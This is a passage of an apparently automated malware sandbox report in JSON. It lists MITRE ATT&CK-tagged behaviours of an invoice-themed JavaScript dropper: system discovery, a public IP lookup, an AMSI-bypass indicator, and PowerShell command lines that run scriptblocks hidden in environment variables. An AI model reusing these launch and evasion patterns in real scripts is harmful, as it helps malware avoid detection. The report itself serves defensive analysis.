Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Detected XOR operators (encryption/decryption)\n Matched sigs: Script contains XOR (Antimalware Scan Interface)\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access file/directory","description":"file/memory contains long string with (Indicator: \"mkdir \"; File: \"search_crc_NQFEMERLh.cmd\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-779","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00000652-00000C2C-2670014269\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00000652-00000C2C-2670399292\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00000652-00000C2C-2670014269\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00000652-00000C2C-2670399292\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; Source: \"00000000-00007652-00000C2C-2715014937\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00000652-00000C2C-2669407689\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00000652-00000C2C-2669407859\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00000652-00000C2C-2670923210\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00000652-00000C2C-2670923233\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00000652-00000C2C-2670333740\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00000652-00000C2C-2670333762\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"WScript.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00007632)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"WScript.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00007632)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"WScript.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00007632)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"WScript.exe\" called \"GetForegroundWindow\" (UID: 00000000-00007632)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"WScript.exe\" called \"IsWow64Process\" with parameter \"7632\" - (UID: 00000000-00007632)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"652\" - (UID: 00000000-00000652)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"868\" - (UID: 00000000-00000868)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"1280\" - (UID: 00000000-00001280)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"7652\" - (UID: 00000000-00007652)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00000652)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00000868)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00001280)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00007652)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"WScript.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007632)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$29","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2a","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"WScript.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00007632)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00000652)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00000652)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00000868)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00000868)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00001280)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00001280)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00007652)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00007652)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"WScript.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00007632)\n \"WScript.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00007632)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00000652)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00000868)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00001280)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00007652)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00007652)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$2b","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"VerSetConditionMask\" (Indicator: \"VerSetConditionMask\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")\n Found reference to API \"VerifyVersionInfoW\" (Indicator: \"VerifyVersionInfo\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$2d","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"APPENDPATH\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"PATH\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"DONTUSEDESKTOPCHANGEROUTER\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to access recent files","description":"\"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\RAP3MVT72BSEYKQWA9FG.temp\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-169","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert - External IP Lookup","description":"Detected alert \"ET INFO External IP Lookup ip-api.com\" (SID: 2022082, Rev: 6, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","mitre_attack_id":"T1016","relevance":3,"id":"suricata-4","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00000652)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00000868)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00001280)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00007652)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"powershell.exe\" called \"CopyFileW\" to copy %LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\54102062952225.cmd to new location %LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\search_crc\\search_crc.dat (UID: 00000000-00007652)\n \"powershell.exe\" called \"CopyFileW\" to copy %LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\search_crc\\search_crc.dat to new location %LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\search_crc\\search_crc_PNIAFPLE.cmd (UID: 00000000-00007652)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"powershell.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\search_crc (UID: 00000000-00007652)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$2f","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134354080215181656.652.DefaultAppDomain.powershell\" - (UID: 00000000-00000652)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134354080272369682.868.DefaultAppDomain.powershell\" - (UID: 00000000-00000868)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134354080297730044.1280.DefaultAppDomain.powershell\" - (UID: 00000000-00001280)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134354082069241906.7652.DefaultAppDomain.powershell\" - (UID: 00000000-00007652)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$30","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Calls an API typically used to move file or directory","description":"\"powershell.exe\" called \"MoveFileW\" with parameter %APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\RAP3MVT72BSEYKQWA9FG.temp & %APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms (UID: 00000000-00007652)","origin":"API Call","mitre_attack_id":"T1570","relevance":1,"id":"api-224","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"ip-api.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"208.95.112.1:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"powershell.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"file/memory contains long string with (Indicator: \"CreateProcess\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$31","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"Found string \"%WINDIR%\\System32\\conhost.exe --headless -- %WINDIR%\\System32\\cmd.exe /c call \"%LOCALAPPDATA%\\Microsoft\\Window\" (Indicator: \"\\system32\\cmd.exe /c \"; Source: \"00000000-00007652-00000BC1-2730539183\"), Found string \"%WINDIR%\\System32\\conhost.exe --headless -- %WINDIR%\\System32\\cmd.exe /c call \"%LOCALAPPDATA%\\Microsoft\\Window\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00007652-00000BC1-2730539183\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"file/memory contains long string with (Indicator: \"ShowWindow\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$32","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$33","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"search_crc_NQFEMERLh.cmd\" as clean (type is \"DOS batch file ASCII text with very long lines (2683) with CRLF line terminators\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"Process \"powershell.exe\" with commandline \"-noprofile -command &($executioncontext.InvokeCommand.NewScriptBlock([string]$env:HXIHKE))\" (UID: 00000000-00000652)\n Process \"powershell.exe\" with commandline \"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:OBGNKQ))\"\" (UID: 00000000-00000868)\n Process \"powershell.exe\" with commandline \"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:OBGNKQ))\"\" (UID: 00000000-00001280)\n Process \"powershell.exe\" with commandline \"-NoProfile -Command \"&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:OBGNKQ))\"\" (UID: 00000000-00007652)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Executes a JavaScript file","description":"Process \"WScript.exe\" with commandline \"\"C:\\\\Rechnung103971GmbH10-02-2026.js\"\" (UID: 00000000-00007632)","origin":"Monitored Target","mitre_attack_id":"T1059.007","relevance":3,"id":"target-167","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$34","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134354080215181656.652.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134354080272369682.868.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134354080297730044.1280.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134354082069241906.7652.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$35","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$36","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at 85560000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 71340000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at A0000000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at A0000000\n \"powershell.exe\" loaded module 